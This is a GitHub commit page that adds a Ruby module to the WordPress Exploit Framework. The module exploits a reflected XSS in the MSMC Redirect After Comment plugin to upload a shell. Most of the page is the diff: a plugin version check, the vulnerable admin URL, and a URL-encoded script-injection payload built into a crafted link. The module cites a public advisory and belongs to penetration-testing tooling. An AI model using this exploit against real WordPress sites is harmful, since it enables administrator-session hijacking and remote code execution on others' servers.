Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f0d6bde

Browse files
committed
Add MSMC Redirect After Comment reflected XSS shell upload
1 parent 4422878 commit f0d6bde

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::MsmcRedirectAfterCommentReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'MSMC - Redirect After Comment Reflected XSS Shell Upload',
9+
author: [
10+
'Tom Adams', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8809'],
15+
['URL', 'https://security.dxw.com/advisories/csrf-stored-xss-in-msmc-redirect-after-comment/']
16+
],
17+
date: 'May 08 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('msmc-redirect-after-comment')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php')
27+
end
28+
29+
def xss_payload
30+
"#{url_encode(normalize_uri(full_uri, '/?'))}%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
31+
end
32+
33+
def url_with_xss
34+
"#{vulnerable_url}?page=msmc-comment-redirect&action=1&MSMC_redirect_location=#{xss_payload}"
35+
end
36+
end

0 commit comments

Comments
 (0)